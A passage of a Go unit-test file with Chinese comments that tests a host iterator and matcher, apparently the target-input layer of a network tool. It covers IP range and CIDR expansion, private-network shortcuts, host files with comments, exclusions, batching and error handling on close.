if !reflect.DeepEqual(got, want) {
|
||||||
|
t.Errorf("range hosts = %v, 期望 %v", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostSource_RangeShortTail 验证短尾写法 x.x.x.a-b
|
||||||
|
func TestNewHostSource_RangeShortTail(t *testing.T) {
|
||||||
|
src, err := newHostSource("10.0.0.3-5")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("newHostSource short-tail range error = %v", err)
|
||||||
|
}
|
||||||
|
defer src.Close()
|
||||||
|
|
||||||
|
var got []string
|
||||||
|
for {
|
||||||
|
h, ok, err := src.Next()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Next() error = %v", err)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
got = append(got, h)
|
||||||
|
}
|
||||||
|
want := []string{"10.0.0.3", "10.0.0.4", "10.0.0.5"}
|
||||||
|
if !reflect.DeepEqual(got, want) {
|
||||||
|
t.Errorf("short-tail range = %v, 期望 %v", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostSource_SingleHost 验证普通主机名走 singleHostSource 分支
|
||||||
|
func TestNewHostSource_SingleHost(t *testing.T) {
|
||||||
|
src, err := newHostSource("example.com")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("newHostSource single error = %v", err)
|
||||||
|
}
|
||||||
|
defer src.Close()
|
||||||
|
|
||||||
|
host, ok, err := src.Next()
|
||||||
|
if err != nil || !ok || host != "example.com" {
|
||||||
|
t.Errorf("single host = %q/%v/%v, 期望 example.com/true/nil", host, ok, err)
|
||||||
|
}
|
||||||
|
// 第二次应该耗尽
|
||||||
|
_, ok, _ = src.Next()
|
||||||
|
if ok {
|
||||||
|
t.Error("singleHostSource 第二次 Next 应返回 ok=false")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// hostMatcher.add 分支覆盖
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_192Shortcut 验证 add("192") 展开为 192.168.0.0/16
|
||||||
|
func TestHostMatcherAdd_192Shortcut(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("192"); err != nil {
|
||||||
|
t.Fatalf("add(192) error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("192.168.1.100") {
|
||||||
|
t.Error("192.168.1.100 应命中 192.168.0.0/16")
|
||||||
|
}
|
||||||
|
if m.match("10.0.0.1") {
|
||||||
|
t.Error("10.0.0.1 不应命中")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_172Shortcut 验证 add("172")
|
||||||
|
func TestHostMatcherAdd_172Shortcut(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("172"); err != nil {
|
||||||
|
t.Fatalf("add(172) error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("172.16.0.1") {
|
||||||
|
t.Error("172.16.0.1 应命中 172.16.0.0/12")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_10Shortcut 验证 add("10")
|
||||||
|
func TestHostMatcherAdd_10Shortcut(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("10"); err != nil {
|
||||||
|
t.Fatalf("add(10) error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("10.1.2.3") {
|
||||||
|
t.Error("10.1.2.3 应命中 10.0.0.0/8")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_CIDR 验证 add 处理 CIDR 字符串
|
||||||
|
func TestHostMatcherAdd_CIDR(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("192.168.5.0/24"); err != nil {
|
||||||
|
t.Fatalf("add CIDR error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("192.168.5.10") {
|
||||||
|
t.Error("192.168.5.10 应命中 /24")
|
||||||
|
}
|
||||||
|
if m.match("192.168.6.10") {
|
||||||
|
t.Error("192.168.6.10 不应命中")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_Range 验证 add 处理 a-b 范围
|
||||||
|
func TestHostMatcherAdd_Range(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("10.0.0.10-10.0.0.20"); err != nil {
|
||||||
|
t.Fatalf("add range error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("10.0.0.15") {
|
||||||
|
t.Error("10.0.0.15 应命中范围")
|
||||||
|
}
|
||||||
|
if m.match("10.0.0.9") || m.match("10.0.0.21") {
|
||||||
|
t.Error("边界外不应命中")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_ExactHost 验证 add 处理普通主机名(exact 分支)
|
||||||
|
func TestHostMatcherAdd_ExactHost(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("myhost.local"); err != nil {
|
||||||
|
t.Fatalf("add exact error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("myhost.local") {
|
||||||
|
t.Error("exact 主机名应命中")
|
||||||
|
}
|
||||||
|
if m.match("other.local") {
|
||||||
|
t.Error("其他主机名不应命中")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_MultipleComma 验证逗号分隔多个值
|
||||||
|
func TestHostMatcherAdd_MultipleComma(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("host1.com, host2.com, 192.168.1.0/30"); err != nil {
|
||||||
|
t.Fatalf("add comma-separated error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("host1.com") || !m.match("host2.com") || !m.match("192.168.1.1") {
|
||||||
|
t.Error("逗号分隔的值应全部命中")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_EmptyEntry 逗号中间空串不报错
|
||||||
|
func TestHostMatcherAdd_EmptyEntry(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add(",,,"); err != nil {
|
||||||
|
t.Fatalf("全空逗号不应报错: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_InvalidCIDR 无效 CIDR 返回 error
|
||||||
|
func TestHostMatcherAdd_InvalidCIDR(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.add("999.0.0.0/8"); err == nil {
|
||||||
|
t.Error("无效 CIDR 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// fileHostSource.Next 分支覆盖
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestFileHostSourceNext_SkipsEmptyAndComments 验证空行和注释行被跳过
|
||||||
|
func TestFileHostSourceNext_SkipsEmptyAndComments(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := dir + "/hosts.txt"
|
||||||
|
content := "\n# this is a comment\n\n \n10.0.0.1\n# another comment\n10.0.0.2\n"
|
||||||
|
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
|
||||||
|
t.Fatalf("WriteFile error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
iter, err := NewHostIterator("", path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
want := []string{"10.0.0.1", "10.0.0.2"}
|
||||||
|
if !reflect.DeepEqual(batch, want) {
|
||||||
|
t.Errorf("batch = %v, 期望 %v", batch, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestFileHostSourceNext_MultipleSources 验证文件中每行多个 host(逗号分隔)走 multiHostSource 分支
|
||||||
|
func TestFileHostSourceNext_MultipleSources(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := dir + "/hosts.txt"
|
||||||
|
// 一行两个 host,触发 multiHostSource 分支
|
||||||
|
content := "10.0.0.1,10.0.0.2\n10.0.0.3\n"
|
||||||
|
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
|
||||||
|
t.Fatalf("WriteFile error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
iter, err := NewHostIterator("", path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
want := []string{"10.0.0.1", "10.0.0.2", "10.0.0.3"}
|
||||||
|
if !reflect.DeepEqual(batch, want) {
|
||||||
|
t.Errorf("batch = %v, 期望 %v", batch, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestFileHostSourceNext_InvalidLineSkipped 无效行(解析失败)被跳过不报错
|
||||||
|
func TestFileHostSourceNext_InvalidLineSkipped(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := dir + "/hosts.txt"
|
||||||
|
// 包含无效 CIDR,应被跳过
|
||||||
|
content := "999.0.0.0/8\n10.0.0.1\n"
|
||||||
|
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
|
||||||
|
t.Fatalf("WriteFile error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
iter, err := NewHostIterator("", path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
// 无效行被跳过,只返回有效行
|
||||||
|
if len(batch) != 1 || batch[0] != "10.0.0.1" {
|
||||||
|
t.Errorf("batch = %v, 期望 [10.0.0.1]", batch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// NewHostIterator 错误路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestNewHostIterator_InvalidFilename 不存在的文件应返回 error
|
||||||
|
func TestNewHostIterator_InvalidFilename(t *testing.T) {
|
||||||
|
_, err := NewHostIterator("", "/nonexistent/path/hosts.txt")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("不存在的文件应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostIterator_InvalidHost host 解析失败时应返回 error(并关闭已打开的文件 source)
|
||||||
|
func TestNewHostIterator_InvalidHost_WithFile(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := dir + "/hosts.txt"
|
||||||
|
if err := os.WriteFile(path, []byte("10.0.0.1\n"), 0o600); err != nil {
|
||||||
|
t.Fatalf("WriteFile: %v", err)
|
||||||
|
}
|
||||||
|
// 无效 CIDR 会让 newHostSources 失败
|
||||||
|
_, err := NewHostIterator("999.0.0.0/8", path)
|
||||||
|
if err == nil {
|
||||||
|
t.Error("无效 host 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostIterator_InvalidExclude exclude 参数无效时应返回 error
|
||||||
|
func TestNewHostIterator_InvalidExclude(t *testing.T) {
|
||||||
|
_, err := NewHostIterator("10.0.0.1", "", "999.0.0.0/8")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("无效 exclude 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostIterator_EmptyExcludeSkipped 空白 exclude 条目应被跳过,不报错
|
||||||
|
func TestNewHostIterator_EmptyExcludeSkipped(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("10.0.0.1", "", " ", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("空白 exclude 不应报错: %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
host, ok, err := iter.Next()
|
||||||
|
if err != nil || !ok || host != "10.0.0.1" {
|
||||||
|
t.Errorf("Next() = %q/%v/%v", host, ok, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Close 路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestClose_Nil nil HostIterator Close 不 panic
|
||||||
|
func TestClose_Nil(t *testing.T) {
|
||||||
|
var it *HostIterator
|
||||||
|
if err := it.Close(); err != nil {
|
||||||
|
t.Errorf("nil Close 应返回 nil, 得到 %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestClose_WithCurrent 有 current source 时 Close 应关闭它
|
||||||
|
func TestClose_WithCurrent(t *testing.T) {
|
||||||
|
src := &closeTrackingSource{}
|
||||||
|
it := &HostIterator{current: src}
|
||||||
|
if err := it.Close(); err != nil {
|
||||||
|
t.Errorf("Close error = %v", err)
|
||||||
|
}
|
||||||
|
if !src.closed {
|
||||||
|
t.Error("current source 应被关闭")
|
||||||
|
}
|
||||||
|
if it.current != nil {
|
||||||
|
t.Error("Close 后 current 应为 nil")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestClose_SourcesError Close 中 source 返回 error 应被记录
|
||||||
|
func TestClose_SourcesError(t *testing.T) {
|
||||||
|
errSrc := &closeTrackingSource{err: errors.New("close error")}
|
||||||
|
it := &HostIterator{sources: []hostSource{errSrc}}
|
||||||
|
err := it.Close()
|
||||||
|
if err == nil {
|
||||||
|
t.Error("source Close 失败时应返回 error")
|
||||||
|
}
|
||||||
|
if !errSrc.closed {
|
||||||
|
t.Error("出错的 source 也应被调用 Close")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestClose_CurrentErrorThenSources current Close 报错,后续 source Close 成功,返回 current 的 error
|
||||||
|
func TestClose_CurrentErrorThenSources(t *testing.T) {
|
||||||
|
currentSrc := &closeTrackingSource{err: errors.New("current close error")}
|
||||||
|
otherSrc := &closeTrackingSource{}
|
||||||
|
it := &HostIterator{
|
||||||
|
current: currentSrc,
|
||||||
|
sources: []hostSource{otherSrc},
|
||||||
|
}
|
||||||
|
err := it.Close()
|
||||||
|
if err == nil {
|
||||||
|
t.Error("应返回 current 的 error")
|
||||||
|
}
|
||||||
|
if !currentSrc.closed || !otherSrc.closed {
|
||||||
|
t.Error("两个 source 都应被关闭")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Next 错误路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// errorSource 让 Next() 返回 error
|
||||||
|
type errorSource struct {
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *errorSource) Next() (string, bool, error) { return "", false, s.err }
|
||||||
|
func (s *errorSource) Close() error { return nil }
|
||||||
|
|
||||||
|
// errorOnCloseSource Next 返回 ok=false,Close 返回 error
|
||||||
|
type errorOnCloseSource struct {
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *errorOnCloseSource) Next() (string, bool, error) { return "", false, nil }
|
||||||
|
func (s *errorOnCloseSource) Close() error { return s.err }
|
||||||
|
|
||||||
|
// TestNext_SourceNextError source.Next() 返回 error 时 iter.Next 应透传
|
||||||
|
func TestNext_SourceNextError(t *testing.T) {
|
||||||
|
it := &HostIterator{
|
||||||
|
sources: []hostSource{&errorSource{err: errors.New("next error")}},
|
||||||
|
}
|
||||||
|
_, _, err := it.Next()
|
||||||
|
if err == nil {
|
||||||
|
t.Error("source Next error 应透传")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNext_SourceCloseError 源耗尽时 Close 报错应透传
|
||||||
|
func TestNext_SourceCloseError(t *testing.T) {
|
||||||
|
it := &HostIterator{
|
||||||
|
sources: []hostSource{&errorOnCloseSource{err: errors.New("close error")}},
|
||||||
|
}
|
||||||
|
_, _, err := it.Next()
|
||||||
|
if err == nil {
|
||||||
|
t.Error("source 耗尽时 Close error 应透传")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// NextBatch 边界条件
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestNextBatch_ZeroSize size=0 应使用 DefaultHostBatchSize(实际受源数量限制)
|
||||||
|
func TestNextBatch_ZeroSize(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("10.0.0.1", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator: %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
// size=0 触发默认 DefaultHostBatchSize 分支,源只有一个 host
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 0)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch(0) error = %v", err)
|
||||||
|
}
|
||||||
|
if len(batch) != 1 || batch[0] != "10.0.0.1" {
|
||||||
|
t.Errorf("batch = %v, 期望 [10.0.0.1]", batch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNextBatch_NegativeSize size<0 也应使用默认值
|
||||||
|
func TestNextBatch_NegativeSize(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("10.0.0.2", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator: %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), -1)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch(-1) error = %v", err)
|
||||||
|
}
|
||||||
|
if len(batch) != 1 || batch[0] != "10.0.0.2" {
|
||||||
|
t.Errorf("batch = %v, 期望 [10.0.0.2]", batch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNextBatch_ContextCancelled context 取消应立即返回
|
||||||
|
func TestNextBatch_ContextCancelled(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("10.0.0.0/8", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator: %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
cancel() // 立即取消
|
||||||
|
|
||||||
|
_, err = iter.NextBatch(ctx, 100)
|
||||||
|
if err == nil {
|
||||||
|
t.Error("已取消的 context 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNextBatch_DeduplicatesHosts 重复 host 只保留一个
|
||||||
|
func TestNextBatch_DeduplicatesHosts(t *testing.T) {
|
||||||
|
// 两个相同的单 host source
|
||||||
|
it := &HostIterator{
|
||||||
|
sources: []hostSource{
|
||||||
|
&singleHostSource{host: "10.0.0.1"},
|
||||||
|
&singleHostSource{host: "10.0.0.1"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
batch, err := it.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
if len(batch) != 1 || batch[0] != "10.0.0.1" {
|
||||||
|
t.Errorf("batch = %v, 期望去重为 [10.0.0.1]", batch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNextBatch_NextError Next 报错时应透传
|
||||||
|
func TestNextBatch_NextError(t *testing.T) {
|
||||||
|
it := &HostIterator{
|
||||||
|
sources: []hostSource{&errorSource{err: errors.New("iter error")}},
|
||||||
|
}
|
||||||
|
_, err := it.NextBatch(context.Background(), 10)
|
||||||
|
if err == nil {
|
||||||
|
t.Error("Next error 应透传到 NextBatch")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// newRangeHostSource 错误路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_TooManyDashes 超过一个 "-" 应报错(实际按首个切分:a-b-c 被 Split 成 3 段)
|
||||||
|
func TestNewRangeHostSource_TooManyDashes(t *testing.T) {
|
||||||
|
// "a-b-c" Split by "-" 得到 3 段,len != 2,应报错
|
||||||
|
_, err := newRangeHostSource("10.0.0.1-10.0.0.5-extra")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("三段格式应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_InvalidStartIP 起始 IP 无效
|
||||||
|
func TestNewRangeHostSource_InvalidStartIP(t *testing.T) {
|
||||||
|
_, err := newRangeHostSource("notanip-10.0.0.5")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("无效起始 IP 应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_InvalidShortTailNonNumeric 短尾不是数字应报错
|
||||||
|
func TestNewRangeHostSource_InvalidShortTailNonNumeric(t *testing.T) {
|
||||||
|
// 尾部 "xyz" 不是数字
|
||||||
|
_, err := newRangeHostSource("10.0.0.1-xyz")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("非数字短尾应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_InvalidShortTailOver255 短尾超过 255 应报错
|
||||||
|
func TestNewRangeHostSource_InvalidShortTailOver255(t *testing.T) {
|
||||||
|
_, err := newRangeHostSource("10.0.0.1-300")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("短尾 >255 应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_StartGTEnd 起始 > 结束应报错
|
||||||
|
func TestNewRangeHostSource_StartGTEnd(t *testing.T) {
|
||||||
|
_, err := newRangeHostSource("10.0.0.200-10.0.0.100")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("start > end 应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_InvalidFullEndIP 完整结束 IP 无效(如 "10.0.0.999")
|
||||||
|
func TestNewRangeHostSource_InvalidFullEndIP(t *testing.T) {
|
||||||
|
// end IP 包含 "." 但无效
|
||||||
|
_, err := newRangeHostSource("10.0.0.1-10.0.0.999")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("无效结束 IP 应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewRangeHostSource_ShortTailStartGTEnd 短尾导致 start > end 应报错
|
||||||
|
func TestNewRangeHostSource_ShortTailStartGTEnd(t *testing.T) {
|
||||||
|
_, err := newRangeHostSource("10.0.0.200-100")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("短尾结果 start > end 应报错")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// hostMatcher.addRange 错误路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestAddRange_InvalidRange addRange 传入无效范围应报错
|
||||||
|
func TestAddRange_InvalidRange(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.addRange("notvalid-range"); err == nil {
|
||||||
|
t.Error("无效 range 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestAddRange_ValidRange addRange 正常路径
|
||||||
|
func TestAddRange_ValidRange(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
if err := m.addRange("10.0.0.10-10.0.0.20"); err != nil {
|
||||||
|
t.Fatalf("addRange error = %v", err)
|
||||||
|
}
|
||||||
|
if !m.match("10.0.0.10") || !m.match("10.0.0.20") {
|
||||||
|
t.Error("addRange 边界值应命中")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// hostMatcher.add 错误路径(shortcut 分支中 addCIDR 失败)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestHostMatcherAdd_InvalidRange add 的 range 格式无效
|
||||||
|
func TestHostMatcherAdd_InvalidRange(t *testing.T) {
|
||||||
|
m := newHostMatcher()
|
||||||
|
// 构造一个 looksLikeIPRange 通过但 newRangeHostSource 失败的字符串
|
||||||
|
// "10.0.0.200-10.0.0.100" start>end 会报错
|
||||||
|
if err := m.add("10.0.0.200-10.0.0.100"); err == nil {
|
||||||
|
t.Error("无效 range (start>end) 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// newCIDRHostSource IPv6 路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestNewCIDRHostSource_IPv6Rejected IPv6 CIDR 应报错
|
||||||
|
func TestNewCIDRHostSource_IPv6Rejected(t *testing.T) {
|
||||||
|
_, err := newCIDRHostSource("2001:db8::/32")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("IPv6 CIDR 应被拒绝")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// fileHostSource.Close 路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestFileHostSource_CloseWithCurrent fileHostSource.Close 时 current != nil 分支
|
||||||
|
func TestFileHostSource_CloseWithCurrent(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := dir + "/hosts.txt"
|
||||||
|
// 写入一个 CIDR,这样 fileHostSource 会持有 current source
|
||||||
|
if err := os.WriteFile(path, []byte("10.0.0.0/30\n"), 0o600); err != nil {
|
||||||
|
t.Fatalf("WriteFile: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
src, err := newFileHostSource(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("newFileHostSource: %v", err)
|
||||||
|
}
|
||||||
|
// 触发 current 被设置
|
||||||
|
_, _, _ = src.Next()
|
||||||
|
// 此时 current 应非 nil,Close 应正常关闭它
|
||||||
|
if err := src.Close(); err != nil {
|
||||||
|
t.Errorf("Close with current error = %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestFileHostSource_CloseNilFile file 已经为 nil 时 Close 直接返回 nil
|
||||||
|
func TestFileHostSource_CloseNilFile(t *testing.T) {
|
||||||
|
src := &fileHostSource{file: nil}
|
||||||
|
if err := src.Close(); err != nil {
|
||||||
|
t.Errorf("nil file Close error = %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// multiHostSource.Close 路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestMultiHostSource_CloseWithCurrent Close 时 current != nil 分支
|
||||||
|
func TestMultiHostSource_CloseWithCurrent(t *testing.T) {
|
||||||
|
inner := &closeTrackingSource{}
|
||||||
|
ms := &multiHostSource{current: inner}
|
||||||
|
if err := ms.Close(); err != nil {
|
||||||
|
t.Errorf("Close error = %v", err)
|
||||||
|
}
|
||||||
|
if !inner.closed {
|
||||||
|
t.Error("current 应被关闭")
|
||||||
|
}
|
||||||
|
if ms.current != nil {
|
||||||
|
t.Error("Close 后 current 应为 nil")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// ipToUint32 IPv6 路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestIpToUint32_IPv6ReturnsFalse IPv6 地址应返回 false
|
||||||
|
func TestIpToUint32_IPv6ReturnsFalse(t *testing.T) {
|
||||||
|
ip := net.ParseIP("2001:db8::1")
|
||||||
|
_, ok := ipToUint32(ip)
|
||||||
|
if ok {
|
||||||
|
t.Error("IPv6 地址应返回 ok=false")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIpToUint32_NilReturnsFalse nil IP 应返回 false
|
||||||
|
func TestIpToUint32_NilReturnsFalse(t *testing.T) {
|
||||||
|
_, ok := ipToUint32(nil)
|
||||||
|
if ok {
|
||||||
|
t.Error("nil IP 应返回 ok=false")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 剩余未覆盖路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestFileHostSource_CurrentNextError fileHostSource.Next 中 current.Next() 报错应透传
|
||||||
|
func TestFileHostSource_CurrentNextError(t *testing.T) {
|
||||||
|
src := &fileHostSource{
|
||||||
|
current: &errorSource{err: errors.New("inner error")},
|
||||||
|
// scanner 为 nil——不会走到 scanner 分支
|
||||||
|
scanner: bufio.NewScanner(strings.NewReader("")),
|
||||||
|
}
|
||||||
|
_, _, err := src.Next()
|
||||||
|
if err == nil {
|
||||||
|
t.Error("current.Next() 报错应透传")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestMultiHostSource_InnerNextError multiHostSource.Next 中内部 source.Next() 报错应透传
|
||||||
|
func TestMultiHostSource_InnerNextError(t *testing.T) {
|
||||||
|
ms := &multiHostSource{
|
||||||
|
sources: []hostSource{&errorSource{err: errors.New("inner error")}},
|
||||||
|
}
|
||||||
|
_, _, err := ms.Next()
|
||||||
|
if err == nil {
|
||||||
|
t.Error("内部 source.Next() 报错应透传到 multiHostSource.Next")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostSource_RangeError newHostSource range 分支中 newRangeHostSource 失败
|
||||||
|
